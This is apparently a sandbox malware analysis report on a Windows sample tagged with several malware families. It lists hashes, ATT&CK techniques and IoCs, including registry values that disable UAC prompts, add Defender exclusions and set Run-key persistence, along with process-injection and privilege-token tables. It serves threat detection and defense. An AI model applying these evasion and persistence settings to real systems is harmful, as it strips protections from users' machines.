1cfd7dfe175f5e28caa4f6fe39bb10ba1a4ce13831f134c8077d974673255422

Analysis

max time kernel
140s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/11/2026, 04:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
Size 32.4MB
Sample261103-faesnae18x
SHA256 1cfd7dfe175f5e28caa4f6fe39bb10ba1a4ce13831f134c8077d974673255422
MD5 932da1e52517175bf8833ed13e4426cd
SHA1 de4bd95700d5f7df037383cf6f16ed8ca32761c7
SHA512 3443ba1f6a53d97eb5566d26d052547686ff9a33f1af813c9e0e57db6587ae79dce2d887d476cbf2e179852e711a47d51ae4601aa6ec0138e1ae9ece503c95be
SSDEEP 196608:AqEfM3r4vGOgAVAiZfFK0SBqtiEPFNPTp:g6qpt
TLSH
T139770646FA414DD2F85846F588ABB7A023FEBD7582D1C30721D87325AFAF29C0E93195
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	9dErgt.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\bN53ba = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral2/memory/4828-714-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 8 IoCs

resource	yara_rule
behavioral2/memory/4828-685-0x0000000003420000-0x0000000003BFD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4828-689-0x0000000003420000-0x0000000003BFD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4828-710-0x0000000003420000-0x0000000003BFD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4828-725-0x0000000003420000-0x0000000003BFD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4828-744-0x0000000003420000-0x0000000003BFD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3208-754-0x00000000030C0000-0x000000000389D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/124-783-0x00000000035F0000-0x0000000003DCD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/692-788-0x0000000003AE0000-0x00000000042BD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2404	powershell.exe
2772	powershell.exe
5104	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	9dErgt.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
2448	icacls.exe
5348	takeown.exe
476	icacls.exe
4332	icacls.exe
1672	takeown.exe
3448	icacls.exe
2840	icacls.exe
1576	icacls.exe
5536	icacls.exe
5464	icacls.exe
4720	icacls.exe
2236	icacls.exe
4244	icacls.exe
4868	icacls.exe
4844	icacls.exe
3312	icacls.exe
5956	icacls.exe
3356	icacls.exe
1844	icacls.exe
4508	icacls.exe
2520	icacls.exe
1124	icacls.exe
1832	icacls.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	9dErgt.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 8 IoCs

pid	Process
264	SG1Vyb.exe
5620	SG1Vyb.exe
4828	9dErgt.exe
4132	9dErgt.exe
1820	9dErgt.exe
3208	onnll.exe
692	9dErgt.exe
124	onnll.exe

Loads dropped DLL 8 IoCs

pid	Process
264	SG1Vyb.exe
5620	SG1Vyb.exe
4828	9dErgt.exe
4132	9dErgt.exe
1820	9dErgt.exe
3208	onnll.exe
692	9dErgt.exe
124	onnll.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1124	icacls.exe
1844	icacls.exe
3312	icacls.exe
1832	icacls.exe
4720	icacls.exe
476	icacls.exe
1672	takeown.exe
2448	icacls.exe
2236	icacls.exe
5956	icacls.exe
1576	icacls.exe
4844	icacls.exe
5464	icacls.exe
4508	icacls.exe
4244	icacls.exe
2840	icacls.exe
2520	icacls.exe
5536	icacls.exe
3356	icacls.exe
5348	takeown.exe
4332	icacls.exe
4868	icacls.exe
3448	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\rpztrB\\9dErgt.exe\""	9dErgt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\bN53ba\\SG1Vyb.exe\""	SG1Vyb.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3216	cmd.exe
5744	cmd.exe
1908	cmd.exe
5396	cmd.exe
4764	cmd.exe
3512	cmd.exe
5080	cmd.exe
3548	cmd.exe
3352	cmd.exe
1576	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	SG1Vyb.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\yO5z7\thumbs.db	9dErgt.exe
File opened for modification	C:\Program Files (x86)\yO5z7\XPSPLOG.dll	9dErgt.exe
File opened for modification	C:\Program Files (x86)\rpztrB	SG1Vyb.exe
File created	C:\Program Files (x86)\rpztrB\XPSPLOG.dll	SG1Vyb.exe
File created	C:\Program Files (x86)\rpztrB\image.png	SG1Vyb.exe
File opened for modification	C:\Program Files (x86)\rpztrB\9dErgt.exe	SG1Vyb.exe
File created	C:\Program Files (x86)\yO5z7\image.png	9dErgt.exe
File opened for modification	C:\Program Files (x86)\yO5z7\image.png	9dErgt.exe
File created	C:\Program Files (x86)\yO5z7\XPSPLOG.dll	9dErgt.exe
File created	C:\Program Files (x86)\rpztrB\9dErgt.exe	SG1Vyb.exe
File opened for modification	C:\Program Files (x86)\yO5z7	9dErgt.exe
File created	C:\Program Files (x86)\yO5z7\onnll.exe	9dErgt.exe
File opened for modification	C:\Program Files (x86)\yO5z7\onnll.exe	9dErgt.exe
File opened for modification	C:\Program Files (x86)\yO5z7\thumbs.db	9dErgt.exe
File created	C:\Program Files (x86)\rpztrB\thumbs.db	SG1Vyb.exe
File opened for modification	C:\Program Files (x86)\rpztrB\XPSPLOG.dll	SG1Vyb.exe
File opened for modification	C:\Program Files (x86)\rpztrB\image.png	SG1Vyb.exe
File opened for modification	C:\Program Files (x86)\rpztrB\thumbs.db	SG1Vyb.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	9dErgt.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5672	sc.exe
3932	sc.exe
1368	sc.exe
5204	sc.exe
5184	sc.exe
876	sc.exe
5200	sc.exe
6024	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	9dErgt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaveActive = "0"	9dErgt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\SCRNSAVE.EXE	9dErgt.exe

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5260	cmd.exe
4244	cmd.exe
5196	cmd.exe
4712	cmd.exe
2356	cmd.exe
1456	cmd.exe
4240	cmd.exe
1952	cmd.exe
3844	cmd.exe
4920	cmd.exe
2784	cmd.exe
2036	cmd.exe
3044	cmd.exe
4784	cmd.exe
3416	cmd.exe
1964	cmd.exe
2628	cmd.exe
5548	cmd.exe
2864	cmd.exe
3188	cmd.exe
2228	cmd.exe
2008	cmd.exe
556	cmd.exe
2408	cmd.exe
4468	cmd.exe
4984	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	SG1Vyb.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	SG1Vyb.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	9dErgt.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	9dErgt.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	onnll.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	onnll.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9dErgt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9dErgt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9dErgt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	9dErgt.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	9dErgt.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\SCRNSAVE.EXE	9dErgt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaveActive = "0"	9dErgt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	9dErgt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	9dErgt.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3352	schtasks.exe
4652	schtasks.exe
4436	schtasks.exe
2796	schtasks.exe
5764	schtasks.exe
1848	schtasks.exe
3060	schtasks.exe
5504	schtasks.exe
1900	schtasks.exe
480	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5060	2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe
264	SG1Vyb.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 49 IoCs

description	pid	Process
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeIncreaseQuotaPrivilege	2772	powershell.exe
Token: SeSecurityPrivilege	2772	powershell.exe
Token: SeTakeOwnershipPrivilege	2772	powershell.exe
Token: SeLoadDriverPrivilege	2772	powershell.exe
Token: SeSystemProfilePrivilege	2772	powershell.exe
Token: SeSystemtimePrivilege	2772	powershell.exe
Token: SeProfSingleProcessPrivilege	2772	powershell.exe
Token: SeIncBasePriorityPrivilege	2772	powershell.exe
Token: SeCreatePagefilePrivilege	2772	powershell.exe
Token: SeBackupPrivilege	2772	powershell.exe
Token: SeRestorePrivilege	2772	powershell.exe
Token: SeShutdownPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeSystemEnvironmentPrivilege	2772	powershell.exe
Token: SeRemoteShutdownPrivilege	2772	powershell.exe
Token: SeUndockPrivilege	2772	powershell.exe
Token: SeManageVolumePrivilege	2772	powershell.exe
Token: 33	2772	powershell.exe
Token: 34	2772	powershell.exe
Token: 35	2772	powershell.exe
Token: 36	2772	powershell.exe
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeTakeOwnershipPrivilege	5348	takeown.exe
Token: SeRestorePrivilege	4332	icacls.exe
Token: SeTakeOwnershipPrivilege	1672	takeown.exe
Token: SeRestorePrivilege	2840	icacls.exe
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeIncreaseQuotaPrivilege	5104	powershell.exe
Token: SeSecurityPrivilege	5104	powershell.exe
Token: SeTakeOwnershipPrivilege	5104	powershell.exe
Token: SeLoadDriverPrivilege	5104	powershell.exe
Token: SeSystemProfilePrivilege	5104	powershell.exe
Token: SeSystemtimePrivilege	5104	powershell.exe
Token: SeProfSingleProcessPrivilege	5104	powershell.exe
Token: SeIncBasePriorityPrivilege	5104	powershell.exe
Token: SeCreatePagefilePrivilege	5104	powershell.exe
Token: SeBackupPrivilege	5104	powershell.exe
Token: SeRestorePrivilege	5104	powershell.exe
Token: SeShutdownPrivilege	5104	powershell.exe
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeSystemEnvironmentPrivilege	5104	powershell.exe
Token: SeRemoteShutdownPrivilege	5104	powershell.exe
Token: SeUndockPrivilege	5104	powershell.exe
Token: SeManageVolumePrivilege	5104	powershell.exe
Token: 33	5104	powershell.exe
Token: 34	5104	powershell.exe
Token: 35	5104	powershell.exe
Token: 36	5104	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 264 wrote to memory of 2772	264	SG1Vyb.exe	94
PID 264 wrote to memory of 3216	264	SG1Vyb.exe	97
PID 3216 wrote to memory of 1848	3216	cmd.exe	100
PID 3216 wrote to memory of 5532	3216	cmd.exe	102
PID 264 wrote to memory of 5080	264	SG1Vyb.exe	103
PID 264 wrote to memory of 5744	264	SG1Vyb.exe	106
PID 5080 wrote to memory of 480	5080	cmd.exe	109
PID 3216 wrote to memory of 5424	3216	cmd.exe	110
PID 5080 wrote to memory of 4612	5080	cmd.exe	111
PID 5744 wrote to memory of 3352	5744	cmd.exe	112
PID 264 wrote to memory of 1908	264	SG1Vyb.exe	113
PID 5080 wrote to memory of 4128	5080	cmd.exe	115
PID 1908 wrote to memory of 3060	1908	cmd.exe	117
PID 5744 wrote to memory of 1124	5744	cmd.exe	116
PID 1908 wrote to memory of 4868	1908	cmd.exe	119
PID 5744 wrote to memory of 4784	5744	cmd.exe	120
PID 1908 wrote to memory of 2512	1908	cmd.exe	121
PID 264 wrote to memory of 5396	264	SG1Vyb.exe	122
PID 5396 wrote to memory of 5504	5396	cmd.exe	124
PID 5396 wrote to memory of 1472	5396	cmd.exe	127
PID 5396 wrote to memory of 3244	5396	cmd.exe	129
PID 2784 wrote to memory of 5536	2784	cmd.exe	131
PID 1964 wrote to memory of 4888	1964	cmd.exe	132
PID 2228 wrote to memory of 3296	2228	cmd.exe	134
PID 264 wrote to memory of 4828	264	SG1Vyb.exe	135
PID 4828 wrote to memory of 2628	4828	9dErgt.exe	139
PID 4828 wrote to memory of 2036	4828	9dErgt.exe	140
PID 4828 wrote to memory of 5196	4828	9dErgt.exe	141
PID 2628 wrote to memory of 2520	2628	cmd.exe	146
PID 4828 wrote to memory of 2008	4828	9dErgt.exe	147
PID 2008 wrote to memory of 1124	2008	cmd.exe	149
PID 4828 wrote to memory of 4784	4828	9dErgt.exe	150
PID 4784 wrote to memory of 3356	4784	cmd.exe	152
PID 4828 wrote to memory of 5260	4828	9dErgt.exe	153
PID 5260 wrote to memory of 1576	5260	cmd.exe	155
